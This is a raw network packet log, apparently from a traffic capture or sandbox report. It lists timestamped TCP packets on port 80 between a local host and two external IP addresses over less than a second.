Dec 20, 2024 07:12:45.473479033 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.473512888 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.475291014 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.475414991 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.475469112 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.477241039 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.477334976 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.477381945 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.479224920 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.479362011 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.479415894 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.481198072 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.481343031 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.481395006 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.481798887 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.481849909 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.481971979 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.482019901 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.483212948 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.483330011 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.483374119 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.485193968 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.485357046 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.485409021 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.487204075 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.487401009 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.487452030 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.489200115 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.489267111 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.489312887 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.490272999 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.490319967 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.490325928 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.490375042 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.497558117 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.497615099 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.497888088 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.497939110 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.504761934 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.504817009 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.504831076 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.504879951 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.573067904 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.573275089 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.573331118 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.573859930 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.574074030 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.574122906 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.575479984 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.575683117 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.575738907 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.577042103 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.577111959 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.577159882 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.578567028 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.578739882 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.578795910 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.580157995 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.580406904 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.580462933 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.581737995 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.581846952 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.581897974 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.583276033 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.583436012 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.583491087 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.584805965 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.584947109 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.584999084 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.586307049 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.586438894 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.586492062 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.587800026 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.587938070 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.587984085 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.589392900 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.589533091 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.589586020 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.590764999 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.590882063 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.590931892 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.592196941 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.592310905 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.592354059 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.593621016 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.593736887 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.593780041 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.595041037 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.595174074 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.595225096 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.596446991 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.596560955 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.596605062 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.597846985 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.597955942 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.598002911 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.599260092 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.599375963 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.599419117 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.600622892 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.600673914 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.600723982 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.602003098 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.602215052 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.602261066 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.603383064 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.603513002 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.603554964 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.604707956 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.604759932 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.604803085 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.606030941 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.606163979 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.606205940 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.607373953 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.607481956 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.607527018 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.608695030 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.608747959 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.608791113 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.610003948 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.610090971 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.610125065 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.610133886 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.610161066 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.610188961 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.610271931 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.611336946 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.611457109 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.611500978 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.612330914 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.612375021 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.612382889 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.612427950 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.612608910 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.612762928 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.612807035 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.613913059 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.614037991 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.614079952 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.615219116 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.615479946 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.615525007 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.616534948 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.616628885 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.616672993 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.616857052 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.616899014 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.616920948 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.616962910 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.617820024 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.617914915 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.617963076 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.619091988 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.619219065 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.619263887 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.620367050 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.620460987 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.620502949 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.621404886 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.621445894 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.621531010 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.621577024 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.621659994 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.621773005 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.621815920 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.622994900 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.623246908 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.623297930 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.624300957 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.624416113 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.624465942 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.625564098 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.625731945 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.625796080 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.625874996 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.625988960 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.626000881 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.626044035 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.626863956 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.626964092 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.627011061 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.628129005 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.628254890 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.628302097 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.629431963 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.629545927 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.629586935 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.630417109 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.630465984 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.630534887 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.630580902 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.630695105 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.630826950 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.630875111 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.632033110 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.632143974 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.632185936 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.633307934 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.633430958 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.633476019 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.634622097 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.634737015 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.634780884 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.634927988 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.634975910 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.635042906 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.635087013 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.635900974 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.635951996 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.636001110 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.637198925 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.637310982 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.637367010 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.638493061 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.638595104 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.638638973 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.639441013 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.639492989 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.639547110 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.639547110 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.639785051 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.639879942 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.639920950 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.641092062 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.641200066 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.641242981 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.642365932 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.642493963 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.642540932 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.643650055 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.643783092 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.643831015 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.643907070 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.643955946 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.644036055 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.644088030 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.644896984 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.648458004 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.648556948 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.648626089 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.648626089 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.652936935 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.652995110 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.653076887 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.653124094 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.657419920 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.657473087 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.657552004 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.657607079 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.661967039 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.662015915 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.662039042 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.662091017 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.666425943 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.666480064 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.666572094 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.666624069 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.670963049 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.671015024 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.671062946 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.671109915 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.675410032 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.675461054 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.675542116 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.675596952 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.679938078 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.679991007 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.680027962 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.680078030 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.684451103 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.684505939 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.684564114 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.684614897 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.688925982 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.688977003 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.689027071 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.689076900 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.693418026 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.693471909 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.693552017 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.693602085 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.697217941 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.697916985 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.697972059 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.698048115 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.698100090 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.702441931 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.702492952 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.702563047 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.702613115 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.706914902 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.706969023 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.707035065 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.707082033 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.711400032 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.711452961 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.711467981 CET	80	49867	31.41.244.11	192.168.2.4
Dec 20, 2024 07:12:45.711519003 CET	49867	80	192.168.2.4	31.41.244.11
Dec 20, 2024 07:12:45.766191006 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.766273022 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.766323090 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.766454935 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.766554117 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.766597986 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.766941071 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.766976118 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.767024994 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.767532110 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.767642975 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.767710924 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.768538952 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.768671036 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.768719912 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.769582033 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.769676924 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.769757032 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.770582914 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.770697117 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.770745039 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.771601915 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.771718979 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.771764994 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.772613049 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.772735119 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.772782087 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.773648977 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.773794889 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.773874998 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.774681091 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.774756908 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.774828911 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.775703907 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.775846958 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.775908947 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.776763916 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.776899099 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.776943922 CET	49862	80	192.168.2.4	147.45.113.159
Dec 20, 2024 07:12:45.777707100 CET	80	49862	147.45.113.159	192.168.2.4
Dec 20, 2024 07:12:45.777757883 CET	80	49862	147.45.113.159	192.168.2.4
